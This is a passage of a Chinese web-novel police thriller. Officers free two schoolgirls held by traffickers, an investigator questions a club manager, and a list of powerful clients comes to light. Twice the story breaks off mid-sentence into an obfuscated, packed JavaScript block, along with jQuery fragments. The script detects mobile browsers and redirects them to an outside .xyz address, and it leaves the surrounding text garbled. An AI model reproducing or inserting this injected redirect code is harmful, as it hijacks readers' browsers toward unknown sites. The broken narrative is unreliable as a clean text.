被戚言挂断电话后,江淮闭了闭眼,给那边的交通指挥人打去电话,让他们放行那辆黑色轿车,先不要打草惊蛇,等他们驾驶到无人区域再进行围堵。
春华大道车流人流过于密集,万一发生意外很可能造成连环交通事故,爆炸就更完蛋,他们是抓人,又不是拍电影。
至于戚言,江淮相信她自有判断。
紧追上面前那辆轿车,戚言发现它居然被放行了,接着一个交警暗暗朝她比了个手势,戚言立即明白了他们的意思,没有立即上前逼停,而是跟在后面追踪。
“大哥,我还是觉得有点不对,我怎么感觉后面那辆车在跟着我们呢?”
副驾驶盯着后视镜突然道,司机闻言瞥了一眼后视镜,正巧看到后面那辆车拐入旁边道路,不见了身影,“说什么晦气话呢,我看你是刚回国不适应,那就那么巧,前面的人干那么久都没事,我们第一次就有事?”
被大哥训斥了一句,副驾驶撇撇嘴,嘟囔道:“他们怎么没事,都死了,要不然怎么会轮到我们?”
气的大哥狠狠刮他一眼,正要骂人,两侧突然冒出车辆对他们进行夹击,大哥一惊,下意识将油门踩到底,但起步也需要速度,在这加速的几秒时间里,左侧又冒出一辆车超过他们,然后挡在正前方道路。
“呲——”
以这种速度,撞上就是车毁人亡,惜命的大哥狠踩刹车,二话不说挤向后排,伸手抓向两名女孩。
女孩们在车辆停下的那一刻就开始掰门把锁,但车门紧闭,她们的力气没能撼动车门一丝一毫。
“里面的人听着,现在立刻下车,否则警方将采用强制手段。”
“咔。”
黑色轿车的车门被缓缓打开,但首先映入警察眼帘的,却是两名身穿校服的中学生,车内的两名罪犯用胳膊箍着她们的脖子,威胁警察:“放我们离开,不然我们杀了她们。”
说着,他们立即收紧了胳膊,两名立即因为窒息而
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642319|156498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脸色涨红。
“别激动!你们别激动。我们同意,往后退!都往后退!”负责指挥的警官指挥众人,众人缓缓后退。
警察后退后,车内两人却僵在了那,前排中间的空隙太窄了,一个人能勉强挤过去,挟持个孩子却不可能,想要过去必须松手,但外面警察紧紧盯着呢,松手绝对死路一条。
先把孩子都交给一人也行不通,五六岁的孩子勉强可以,但两个十三四岁的孩子极力挣扎一个大人根本控制不住。
无奈之下,他们只能下车,低下身用孩子的身体挡住自己,后背紧紧贴着车身移动,这个过程是警察开枪的最好机会,但此地空旷没办法架设狙击手,手|枪误伤率太高,万一伤到两个孩子,谁都承担不了这个后果。
双方都异常紧张之际,一辆警车飞速朝黑车撞去,众人只觉眼前一花,黑车警车都没影了。
再看时,刑侦一队队长戚言不知从哪冒了出来,飞身上前,一个高踢腿再加一个半空后旋踢,接连爆两颗头。
落地后,一手抓起一个小朋友,对着地上两名罪犯呸了一声道:“连刀子都没有,吓唬谁呢?”
周围警察反应过来后立即上前给两名罪犯铐上手铐,随后押上警车。
“没事吧?”
警车车盖因为剧烈撞击而开始冒烟,车身停下来后,严钧与江淮迅速下车,严钧绕到江淮身前,关心地询问。
“没事。”江淮摇摇头,揉着右边肩膀道:“就是被安全带勒了一下。”
“呦,谈情说爱呢两位?”一辆警车忽然开到他们旁边,戚言降下车窗探出头,“人都快走完了,难不成你们打算走回警局?”
严钧耳朵温度瞬间升高,怕江淮觉得不舒服想反驳,却又觉得欲盖弥彰,一时间不敢与她的视线接触。
江淮却一点也不在意,对着戚言笑了笑,“那就谢谢戚队长了。”
一共六十七人,终于全部找到,可以给一个国际舆论一个交代了,案件终于进入尾声,警局众人明显轻松许多。
“呜呜呜,淮,人家好舍不得你~”咖喱小哥呜呜地抱着江淮的胳膊哭诉,梨花带水地瞧着她,“你要不要跟我到T国玩几天啊?我们那有很多漂亮的小哥哥,都是合法的哦,而且很便宜。”
“喂,你说什么呢?”严钧怒视着咖喱小哥,生怕他真把江淮带走了。
“切~淮,你看他,嫉妒心好强哦,你千万不要跟他在一起,这种人最可怕了~”咖喱小哥在严钧眼皮子底下给江淮上眼药,还挑衅地望着他。
严钧气到爆炸,偏偏江淮还真向着他,笑道:“好啊,以后有时间我会去的,到时候找你当导游。”
咖喱小哥得意之时,白警官却走过来带来一个爆炸消息,从私立学校找到的那三个人,是T国国籍。
瞬间,咖喱小哥的笑容消失在嘴角,张大了眼睛与嘴巴,发出惊恐的声音:“Haaaa????!”
不久,法医部也传出消息,经过三国DNA库对比,死去的那四十一人中,有一位也是T国人,也就是说这一批一百零八人中,其中四名T国人,一百零四人T国人。
“这四个T国人很可疑啊。”严钧一雪前耻,但说的也是实话,“他们看起来不像是单纯偷渡的,那两名女孩呢,查清楚他们想带她们做什么了吗?”
白警官面色严峻地点头,对江淮和严钧道:“局长让你们现在到她办公室一趟。”
办公室?不去会议室去办公室干吗?
江淮与严钧疑惑地对视一眼,动身前往局长办公室,走进去一看,戚队长与郑队长已经在了,马局长站在办公桌后,神色沉重。
江淮把身后的门关上,突然觉得自己有点多余,局长与三个大队长,就她一个外人,而且看这阵仗像发生了什么大事。
见人都到齐了,马局长开口:“我叫你们过来,是要告诉你们一件严肃的、绝不能外传的事情,春生,你来跟她们说吧。”
郑队长闻言面向另外三人道:“抓住那两名嫌疑人后,我们查了那辆车的过往记录,发现它频繁进出一个会所,突袭调查后发现确实存在情|色交易,但都是成年人。”
“想到那两名女孩,我们进一步调查,发现那所国际学校居然有多名外国学生失踪,但无人报警,之后对那个会所进行了彻底的摸排,调回了他们的所有电脑资料,经过技术人员破解,发现一个特殊文件。”
“里面记录了所有,与会所进行过交易的客人。”
郑队长如此郑重地说这件事,三人意识到,这些客人的身份大概很不一般,果然下一刻,她们就听见郑队长说:
“庆州省许多政商界名流的名字赫然在列,我们暂时不能确定名单真假,但是这则消息绝不能轻易外泄,否则就会失去除去这些渣残败类的机会,调查必须暗中进行,掌握初步证据后,局长会亲自往上面走一趟。”
“现在,你们看一下名单吧。”
三人将脑袋凑过去,看到上面熟悉的名字,再想想他们的身份地位,忽觉一身冷汗,眼中的惊讶一层深过一层。
这消息还是传出去了,在场所有人都死无葬身之地啊。
在严钧与戚言连连震惊时,江淮心中却平静无波,她静静看着这些名字,心情愉悦:铺垫了这么久,游戏终于要正式开始了。
15. 会员
当天下午五点,Z国外交部举办新闻发布会,会上透露出案件即将结案的消息,“死亡货车”案四十一名死者均为意外窒息死亡,涉事司机将被送上法庭,同批偷渡者全部抓捕归案。
一百零八人中死亡的四十一人中有一名T国人、四十名L国人,抓捕归案的六十七人三名L国人,六十四名T国人,六十七名L国人员不日遣送回国,三名T国人因涉嫌违法犯罪将被拘留,刑满释放后移送T国相关部门。
国际刑警那边也差不多结束了,主犯“李先生”被抓,几十人的犯罪团伙被连根拔起,至此,案件最后一波热度过去,国际舆论很快转向了新的地方。
“那六十七个人就这样遣送回国了,我们什么都不做?”
会议室,戚言站起身拍桌子质问,目光凶狠。
“这是上面的命令。”马局长语气冷静地说。
“哎冷静冷静。”二队长郑春生连忙起身把上头的戚言按回座位,劝解道:“他们毕竟是别国公民,我们不好留着,再说他们留在这身份问题也解决不了,只能当黑户。”
“睁只眼闭只眼不行吗,就像对待边境Y国人那样。”戚言压着怒火与郑春生争论。
坐在她对面的江淮早就预料到她的反应,戚言脾气倔,正义感十足,眼睛里容不得一点沙子,明明有机会救下六十七条人命,却因为一些不能言说的原因而不能做,的确令人心有不甘。
“T国政府找我们要人,我们不能不给啊,那就成我们的不对了,回去后结果如何是他们的事情,我们不能干涉别国内政。”郑春生知道她难受,其实他自己也难受,但这是没办法的事情。
“好了郑叔,别劝了,我出去走走。”戚言站起身离开了会议室,众人知道她的脾气,给她点时间自己消化消化就好了。
相比戚言,严均表现得更为冷静,一直坐在位置上沉默不语。
但从心理学角度分析,戚言的表现其实更为正常,她的负面情绪有发泄口,而严均的则压在了心底,长期积累很容易造成心理问题。
之后,马局长宣布散会,“死亡货车”案暂且告一段落,警局恢复正常的办案时间与秩序,但几位队长与江淮除外,毕竟现在他们身负重任,整个白港市甚至庆省人民的幸福都落在了他们身上。
现在,他们需要审讯至关重要的一位嫌疑人,静庐会所的一位管理者,那份电子档案就是从他电脑里搜出来的。
“孙先生,现在请你解释一下你电脑里的这份名单,交代出他们的身份算你重大立功表现,警方会酌情减轻你的量刑。”
名单的事情目前只有严钧等人知晓,因此审讯也得他们亲自进行,戚言不在,审讯必须两名及以上警察,因此只能由严钧与郑队长进行,江淮从旁协助。
不过名为协助,实则是江淮主导,她擅长攻破人的心理防线,加上不是警察,一些规则对她没有束缚,审讯起来更为方便。
审讯椅上的孙先生是一名青年,方脸,中等身材,穿着蓝色西服,微微低着头,无论警察问什么都沉默不语,是审讯中最怕遇到的一类人。
欺骗会有破绽,争吵可以看出真实动机与诉求,唯独沉默令人无可奈何。
江淮进来之前研究了这位孙先生的资料,农村出身,大专毕业,在进入会所工作之前家里较为贫困,父母健在但身体不好,还有一个正上初中的弟弟。
进入会所工作后给家里盖了新房子,把弟弟转到设施与师资都更好的私立学校,好面子,喜欢请客组织朋友聚会,故意在同学聚会上炫耀。
这种人,最好对付。
“孙鹏程。”江淮咬字清晰地念出他的全名,看到他身体有轻微的反应,语气认真地对他道:
“在对你进行审讯之前,我想你有必要知道自己可能承担的后果,你涉嫌组织、强迫他人卖|淫,协助拐卖、绑架,非法拘禁等犯罪行为,加上数量众多,且存在大量未成年与外籍人员,保守估计有期徒刑二十年,最大可能无期。”
“如若发现经你们会所送出去的被害者出现重大残甚至死亡,你将涉嫌故意伤害与故意杀人,可能被判处枪毙。”
江淮声音平缓地将事情往严重说,果然看见孙鹏程的面皮微微颤抖,接着似不经意地谈起他的家人:
“目前我们初步掌握了你的犯罪证据,会把你关押在看守所,三日之内通知你的家属,现在已经过去了一半时间,负责这件事的警官大概快到你家了。”
“别告诉他们!”孙鹏程猛地抬起头,胸膛剧烈起伏,目光凶狠地盯着江淮:“你不能告诉他们,这件事跟他们没关系!”
江淮颇为无奈地看着他,“这是规定,他们作为你的亲人,有权利知晓你的现状与去处,不然你莫名失踪,他们该多担心自己的儿子和哥哥啊,不告诉他们以后怎么去监狱看望你呢?”
“不,你们不能,我不同意!我宁愿让他们觉得我死了!”孙鹏程不断摇头,眼睛里满是血丝,仿佛已经想象到父母得知他犯罪进监狱的巨大反应,他的弟弟在学校被同学欺负的场景,还有他那些酒肉朋友小人得志的恶心模样。
“这真的是规定,就算我们同意也没办法改变,何况你犯了这么大的罪,到时候肯定是法院公开审理的,你父母不管早晚都是要知道的。”
“不是我!我就是一个小小的管理,那个会所不是我的!”孙鹏程爆发地喊。
“那它是谁的?”江淮紧接着问。
孙鹏程却猛然沉默,张着嘴却没有发出声音,像一只被扼住喉咙的鸭子,江淮看到他的眼睛里浮现出深深的恐惧,于是温声安抚:
“如果害怕家人或者出狱后被报复,可以向警方申请人身保护令。”
“不,你们不懂,这件事暴露出去我会死的,我真的会死的。”孙鹏程低下头双手抱着脑袋,焦虑地抓扯自己的头发。
江淮看了他一会儿道:“可是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643574|156498||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就算你不说,他们也会怀疑你说了,你的那份名单指向性其实很明显,白港市一共就那么几个局长、厅长,稍微排查一下就能找出来,你前脚被抓,他们后脚就暴露了,你觉得他们不会怀疑你吗?”
“你现在其实只有一条路可走,那就是把自己知道都交代出来,这样我们警方才能一网打尽,没有漏网之鱼,所有人都被抓了就没有人能害你,你家人的安全也得到了保障,你好好想想,是不是这样。”
孙鹏程的动作僵住了,僵了很久,僵到他的胳膊开始发麻才抬起头,声音嘶哑地认命:“你说得对,我只有一条路。”
孙鹏程终于愿意配合,但却说,“我能接触到很少,这个会所有明面上的会长,但其实他也不是实际的控制人,没有人知道实际控制人的身份,还是名单上的那些人,很多我也不知道,因为我主要负责会所内部管理,黑金会员我一点都接触不到,黄金是自己派来接人的,而且不会再送回来。”
“至于白银会员因为接触得多能猜到几个,他们是...”
严钧赶紧用笔把他说出的那些名字记下来,但在江淮看来都是一些小鱼小虾,只有抛砖引玉的作用。
在孙鹏程基本交代完后,她道:“还有一个最重要的问题,你那个名单,都有谁知道。”
“就我自己。”孙鹏程立即解释,“我们这种地方很忌讳名单这种东西,明面上根本不会有,但是那些人位高权重又特别难伺候,一不小心就容易犯了他们的忌讳,我吃过几次亏就学聪明了,偷偷把他们的习惯癖好记录下来,我发誓除了我之外绝对没人知道这个名单!”
江淮点点头,“鉴于你表现良好且此事事关重大,我们暂时不会通知你的家人,你这几个月也只会以组织卖|淫罪被关进看守所,这也是对你人身安全的一种保护,另外你的家人我们也会派人蹲守,希望你后面能继续配合。”
“谢谢警官,谢谢警官。”孙鹏程听完异常感激,双手合十不停地朝江淮道谢。
从审讯室出来后,三人又聚在无人的监控室,严钧拿着手中的记录看着江淮问:“现在我们已经知道部分人的身份了,那现在?”
“别轻举妄动,一个人还好,名单上的人接连出事了其他人一定会意识到,我们不能因小失大,且这个会所刚被警方查封,那些人一定正风声鹤唳。”
“不能动这些人,那动谁?”郑队长也问。
江淮闻言微微一笑,“你们忘了那三个T国人吗?她们绑架了两个外国小女孩,我们又查到那个私立学校多年来有许多外籍未成年失踪,我们顺着这个线索查下去不是很合理吗?就算某些人被查到,其他人也只会以为是意外。”
“说不定这个私立学校的校长,就是那个黄金会员呢。”
“行,我现在就去申请传唤证。”严钧说完就开始行动,但,比传唤证先下来的,是戴着白帽子的督察,有人举报严钧违反警容警纪、非法行使公权。